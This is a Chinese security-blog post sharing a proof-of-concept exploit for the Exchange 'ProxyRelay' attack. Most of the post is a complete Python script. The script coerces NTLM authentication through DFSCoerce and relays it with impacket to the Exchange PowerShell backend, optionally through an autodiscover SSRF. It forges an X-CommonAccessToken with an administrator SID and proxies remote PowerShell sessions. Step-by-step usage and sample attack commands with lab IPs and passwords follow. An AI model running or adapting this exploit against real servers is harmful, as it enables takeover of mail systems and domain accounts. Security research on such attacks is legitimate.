Exchange ProxyRelay POC
作者:Sec-Labs | 发布时间:
ProxyRelay
将ntlm转给powershell
中继ntlm到autodiscover前台,然后代理连接到powershell后台。或者直接重放ntlm到powerhell后端。
https://blog.orange.tw/2022/10/proxyrelay-a-new-attack-surface-on-ms-exchange-part-4.html
项目地址
https://github.com/HuanGMZzz/ProxyRelay
相关实验
核心代码
ProxyRelay_Powershell.py
import logging
import time
import base64
import ssl
import struct
try:
from urllib.request import ProxyHandler, build_opener, Request
except ImportError:
from urllib2 import ProxyHandler, build_opener, Request
try:
from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady
except ImportError:
from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady
from impacket import version
from impacket.examples import logger
from impacket.examples.ntlmrelayx.servers import SMBRelayServer
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
RELAY_SERVERS = []
from impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
from impacket.ntlm import NTLMAuthChallenge
from impacket.spnego import SPNEGO_NegTokenResp
from struct import unpack
from impacket.examples.ntlmrelayx.clients import ProtocolClient
from impacket import LOG
# DfsCoerce
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
# Proxy
from flask import Flask
from flask import request
from flask import Response
import re
import requests
import _thread
import threading
from http.client import CannotSendRequest
# Attack
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
Global_Server_Connection = None
Global_Server_Connections = []
Connection_Lock = threading.Lock()
Token = ''
HOST = ''
SSRF = False
app = Flask(__name__)
#####################################################
# Powershell Http Proxy Server
#####################################################
@app.route('/<path:path>', methods=['POST', 'GET'])
def index(path):
global Global_Server_Connection
global Global_Server_Connections
if request.method == 'GET':
return 'ok'
req_data = request.stream.read()
action = re.search(rb'<a:Action s:mustUnderstand="true">(.+?)</a:Action>', req_data)
assert action, "WinRM action not found"
req_data = req_data.decode()
# modify headers
req_headers = {}
for k, v in request.headers.items():
if k == 'Host':
v = HOST
if k == 'Authorization':
continue
req_headers[k] = v
req_headers['X-CommonAccessToken'] = Token
if SSRF:
req_headers['Cookie'] = 'Email=autodiscover/autodiscover.json?@foo.com'
new_path = '/autodiscover/autodiscover.json?@foo.com/%s?%s' % (path, request.query_string.decode())
else:
new_path = '/%s?%s' % (path, request.query_string.decode())
with Connection_Lock:
while (not Global_Server_Connection) and (len(Global_Server_Connections) == 0):
time.sleep(0.2)
if not Global_Server_Connection:
Global_Server_Connection = Global_Server_Connections.pop()
try:
print('[+] Send request to PowerShell Server')
Global_Server_Connection.request("POST", new_path, headers=req_headers, body=req_data)
except CannotSendRequest:
print("[-] Cannot send request!")
with Connection_Lock:
while len(Global_Server_Connections) == 0:
print('[+] Wait for Server Connections pool')
time.sleep(0.2)
Global_Server_Connection = Global_Server_Connections.pop()
print('[+] Retry send request to PowerShell Server ')
Global_Server_Connection.request("POST", new_path, headers=req_headers, body=req_data)
res = Global_Server_Connection.getresponse()
res_data = res.read()
rsp_headers = dict(res.getheaders())
status = res.status
print('[+] Get PowerShell Server response: %d' % status)
# make response
resp = Response(res_data, status=status)
for k, v in rsp_headers.items():
if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']:
continue
resp.headers[k] = v
return resp
#####################################################
# DFSCoerce
#####################################################
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
('ServerName', WSTR),
('RootShare', WSTR),
('ApiFlags', DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
('ServerName', WSTR),
('RootShare', WSTR),
('Comment', WSTR),
('ApiFlags', DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class TriggerAuth():
def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost, targetIp):
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash,
nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
print("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target)
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
return
try:
dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0')))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
return
print("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
print("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request['ServerName'] = '%s\x00' % listener
request['RootShare'] = 'test\x00'
request['ApiFlags'] = 1
request.dump()
resp = dce.request(request)
except Exception as e:
print(e)
def DfsCoerce_NtlmRelay(username, password, domain, NtlmRequest_SourceIP, NtlmRequest_TargetIP ):
trigger = TriggerAuth()
if '@' in username:
username = username.split('@')[0]
#dce = trigger.connect(username='test2', password='P@ssword123', domain='server.cd', lmhash='', nthash='', target='192.168.152.131', doKerberos='', dcHost='', targetIp='')
dce = trigger.connect(username=username, password=password, domain=domain, lmhash='', nthash='', target=NtlmRequest_SourceIP, doKerberos='', dcHost='', targetIp='')
if dce is not None:
trigger.NetrDfsRemoveStdRoot(dce, NtlmRequest_TargetIP)
#trigger.NetrDfsRemoveStdRoot(dce, '192.168.152.157')
dce.disconnect()
#####################################################
# Impacket Ntlm Relay Attack
#####################################################
class MyHTTPAttack(ProtocolAttack):
def run(self):
global Global_Server_Connections
Global_Server_Connections.insert(0, self.client)
print("[+] Get an authed Powershell Server tcp connection, Connections pool: %d" % len(Global_Server_Connections))
class MyHTTPRelayClient(ProtocolClient):
PLUGIN_NAME = "HTTP"
def __init__(self, serverConfig, target, targetPort=80, extendedSecurity=True):
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
self.extendedSecurity = extendedSecurity
self.negotiateMessage = None
self.authenticateMessageBlob = None
self.server = None
self.authenticationMethod = None
def initConnection(self):
self.session = HTTPConnection(self.targetHost, self.targetPort)
self.lastresult = None
if self.target.path == '':
self.path = '/'
else:
self.path = self.target.path
if SSRF:
self.path = '/autodiscover/autodiscover.json?@foo.com/powershell?&Email=autodiscover/autodiscover.json?@foo.com'
return True
def sendNegotiate(self, negotiateMessage):
# Check if server wants auth
print('[+] sendNegotiate: ', self.path)
self.session.request('GET', self.path)
res = self.session.getresponse()
res.read()
if res.status != 401:
LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
try:
if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):
LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
return False
if 'NTLM' in res.getheader('WWW-Authenticate'):
self.authenticationMethod = "NTLM"
elif 'Negotiate' in res.getheader('WWW-Authenticate'):
self.authenticationMethod = "Negotiate"
except (KeyError, TypeError):
LOG.error('No authentication requested by the server for url %s' % self.targetHost)
if self.serverConfig.isADCSAttack:
LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
else:
return False
# Negotiate auth
negotiate = base64.b64encode(negotiateMessage).decode("ascii")
headers = {'Authorization': '%s %s' % (self.authenticationMethod, negotiate)}
self.session.request('GET', self.path, headers=headers)
res = self.session.getresponse()
res.read()
try:
serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod),
res.getheader('WWW-Authenticate')).group(1)
serverChallenge = base64.b64decode(serverChallengeBase64)
challenge = NTLMAuthChallenge()
challenge.fromString(serverChallenge)
return challenge
except (IndexError, KeyError, AttributeError):
LOG.error('No NTLM challenge returned from server')
return False
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
global Global_Server_Connections
if len(Global_Server_Connections) == 7:
print('[+] Connections pool is full, Stop Connect')
return None, STATUS_ACCESS_DENIED
if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
token = respToken2['ResponseToken']
else:
token = authenticateMessageBlob
auth = base64.b64encode(token).decode("ascii")
headers = {'Authorization': '%s %s' % (self.authenticationMethod, auth)}
headers['X-CommonAccessToken'] = Token
print('[+] send Auth: ', self.path)
self.session.request('GET', self.path, headers=headers)
res = self.session.getresponse()
if res.status == 401:
return None, STATUS_ACCESS_DENIED
else:
LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)
# Cache this
self.lastresult = res.read()
return None, STATUS_SUCCESS
def killConnection(self):
if self.session is not None:
self.session.close()
self.session = None
def keepAlive(self):
# Do a HEAD for favicon.ico
self.session.request('HEAD', '/favicon.ico')
self.session.getresponse()
class MyHTTPSRelayClient(MyHTTPRelayClient):
PLUGIN_NAME = "HTTPS"
def __init__(self, serverConfig, target, targetPort=443, extendedSecurity=True):
HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
def initConnection(self):
self.lastresult = None
if self.target.path == '':
self.path = '/'
else:
self.path = self.target.path
if SSRF:
self.path = '/autodiscover/autodiscover.json?@foo.com/powershell?&Email=autodiscover/autodiscover.json?@foo.com'
try:
uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
self.session = HTTPSConnection(self.targetHost, self.targetPort, context=uv_context)
except AttributeError:
self.session = HTTPSConnection(self.targetHost, self.targetPort)
return True
def start_servers(options, threads):
for server in RELAY_SERVERS:
#Set up config
c = NTLMRelayxConfig()
c.setProtocolClients(PROTOCOL_CLIENTS)
c.setTargets(targetSystem)
c.setMode(mode)
c.setAttacks(PROTOCOL_ATTACKS)
c.setSMB2Support(options.smb2support)
c.setInterfaceIp(options.ntlm_listen)
s = server(c)
s.start()
threads.add(s)
return c
def stop_servers(threads):
todelete = []
for thread in threads:
if isinstance(thread, tuple(RELAY_SERVERS)):
thread.server.shutdown()
todelete.append(thread)
# Now remove threads from the set
for thread in todelete:
threads.remove(thread)
del thread
def get_sid(username, password, domain):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
url = f'https://{domain}/owa/auth.owa'
data = f'destination=https://{domain}/owa&flags=4&forcedownlevel=0&username={username}&password={password}&passwordText=&isUtf8=1'
response = requests.post(url, headers=headers, data=data, verify=False, allow_redirects=False)
if not response.status_code == 302:
print('[-] auth failed')
return
cadata = re.search(r'cadata=([a-zA-Z0-9\+/=]*);', response.headers['Set-Cookie'])[1]
cadataTTL = re.search(r'cadataTTL=([a-zA-Z0-9\+/=]*);', response.headers['Set-Cookie'])[1]
cadataKey = re.search(r'cadataKey=([a-zA-Z0-9\+/=]*);', response.headers['Set-Cookie'])[1]
cadataIV = re.search(r'cadataIV=([a-zA-Z0-9\+/=]*);', response.headers['Set-Cookie'])[1]
cadataSig = re.search(r'cadataSig=([a-zA-Z0-9\+/=]*);', response.headers['Set-Cookie'])[1]
cookie = f'''cadata={cadata}; cadataTTL={cadataTTL}; cadataKey={cadataKey}; cadataIV={cadataIV}; cadataSig={cadataSig}'''
headers['Cookie'] = cookie
url = f'https://{domain}/owa/'
response = requests.get(url, headers=headers, verify=False)
#response = requests.get(url, headers=headers, verify=False, proxies=proxies)
if not response.status_code == 200:
print('[-] auth failed 2')
return
sid = re.search('X-BackEndCookie=([S\-0-9]+)=', response.headers['Set-Cookie'])[1]
return sid
def fake_token(usuid, gsuids):
logonname = b'SERVER\\whatever'
token = b'V\x01\x00T\x07WindowsC\x00A\x08Kerberos' + \
b'L' + struct.pack('< B', len(logonname)) + logonname + \
b'U' + struct.pack('< B', len(usuid)) + usuid.encode('utf-8') + \
b'G' + struct.pack('< L', len(gsuids))
for gsuid in gsuids:
token = token + b'\x07\x00\x00\x00' + struct.pack('< B', len(gsuid)) + gsuid.encode('utf-8')
token = token + b"E\x00\x00\x00\x00"
tokenb64 = base64.b64encode(token)
return tokenb64.decode()
# Process command-line arguments.
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
"try to relay that connection to specified target(s) system or the original client")
parser._optionals.title = "Main options"
#Main arguments
parser.add_argument("-h","--help", action="help", help='show this help message and exit')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-t',"--target", action='store', metavar='TARGET', help="Target backend powershell path, example: https://192.168.152.131:444/powershell")
parser.add_argument('-p', '--password', action='store', metavar='PASSWORD', help='password for DFSCoerce')
parser.add_argument('-u', '--username', action='store', metavar='USERNAME', help='user name for DfsCoerce')
parser.add_argument('-ns', '--ntlm-source', action='store', metavar='NTLM_SOURCE', help='ntlm relay source ip, shouble be an exchange server ip')
parser.add_argument('-nl', '--ntlm-listen', action='store', metavar='NTLM_LISTEN', help='IP address of interface to bind SMB and HTTP servers, and Dfscoerce will trigger an ntlm authentication to this ip, so it can\'t be 0.0.0.0')
parser.add_argument('-d', '--domain', action='store', metavar='DOMAIN', help='domain name of exchange domain')
parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support')
parser.add_argument('-ssrf', action="store_true", default=False, help='use autodiscover frontend ssrf to proxy to powershell')
try:
options = parser.parse_args()
except Exception as e:
logging.error(str(e))
sys.exit(1)
logger.init()
SSRF = options.ssrf
HOST = options.target.split('://')[-1].split('/')[0].split(':')[0]
if SSRF:
schema = 'https' if options.target.startswith('https') else 'http'
target_path = '{0}://{1}/'.format(schema, HOST)
print('[+] Target Path: %s' % target_path)
else:
target_path = options.target
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
# Let's register the protocol clients we have
from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS
from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
PROTOCOL_CLIENTS['HTTP'] = MyHTTPRelayClient
PROTOCOL_CLIENTS['HTTPS'] = MyHTTPSRelayClient
PROTOCOL_ATTACKS['HTTP'] = MyHTTPAttack
PROTOCOL_ATTACKS['HTTPS'] = MyHTTPAttack
mode = 'RELAY'
targetSystem = TargetsProcessor(singleTarget=target_path, protocolClients=PROTOCOL_CLIENTS)
sid = get_sid(options.username, options.password, options.domain)
if not sid:
print('[-] Get Sid failed')
sys.exit(0)
print('[+] get sid: ', sid)
index = sid.rfind('-')
domain_sid = sid[:index + 1]
gsuids = []
gsuids.append(domain_sid + '513') # domain users
admin_sid = domain_sid + '1000'
print('[+] test admin sid: ', admin_sid)
Token = fake_token(admin_sid, gsuids)
print('[+] fake token: ', Token)
RELAY_SERVERS.append(SMBRelayServer)
threads = set()
c = start_servers(options, threads)
logging.info("Servers started, waiting for connections")
try:
_thread.start_new_thread(app.run, ("0.0.0.0", 8000))
time.sleep(2)
DfsCoerce_NtlmRelay(username=options.username, password=options.password, domain=options.domain, NtlmRequest_SourceIP=options.ntlm_source, NtlmRequest_TargetIP=options.ntlm_listen)
print("[-] DFScoerce over")
while True:
time.sleep(5)
except KeyboardInterrupt:
pass
else:
pass
for s in threads:
del s
sys.exit(0)
使用说明
usage: ProxyRelay_Powershell.py [-h] [-debug] [-t TARGET] [-p PASSWORD] [-u USERNAME] [-ns NTLM_SOURCE] [-nl NTLM_LISTEN] [-d DOMAIN] [-smb2support]
For every connection received, this module will try to relay that connection to specified target(s) system or the original client
Main options:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-t TARGET, --target TARGET
Target backend powershell path, example: https://192.168.152.131:444/powershell
-p PASSWORD, --password PASSWORD
password for DFSCoerce
-u USERNAME, --username USERNAME
user name for DfsCoerce
-ns NTLM_SOURCE, --ntlm-source NTLM_SOURCE
ntlm relay source ip, shouble be an exchange server ip
-nl NTLM_LISTEN, --ntlm-listen NTLM_LISTEN
IP address of interface to bind SMB and HTTP servers, and Dfscoerce will trigger an ntlm authentication to this ip, so it can't be 0.0.0.0
-d DOMAIN, --domain DOMAIN
domain name of exchange domain
-smb2support SMB2 Support
-ssrf use autodiscover frontend ssrf to proxy to powershell
这个脚本将ntlm中继到autodiscover前端,然后代理连接到powershell后端。或者直接重放ntlm到powerhell后端。
用DFScoerce触发ntlm请求。
第一步:
修改proxy.py中的HOST变量,指向你的kali。然后在windows攻击主机上运行proxy.py。
它将监听本地Powershell连接并代理到kali。
第二步:
在你的kali主机上运行ProxyRelay_Powershell.py。
它将做ntlm中继,并在认证完成后代理 powershell 连接。
第三步:
在windows攻击主机上运行localpowershell.ps1。
中继ntlm到Powershell后端
python3 ./ProxyRelay_Powershell.py -smb2support -t "https://192.168.152.131:444/powershell" -nl "192.168.152.157" -d "server.cd" -ns "192.168.152.132" -u "test@server.cd" -p "P@ssword123"
将ntlm中继到自动识别前台
python3 ./ProxyRelay_Powershell.py -smb2support -t "https://192.168.152.131" -nl "192.168.152.157" -d "server.cd" -ns "192.168.152.132" -u "test@server.cd" -p "P@ssword123" -ssrf
标签:工具分享, 漏洞分享, 学习笔记, POC脚本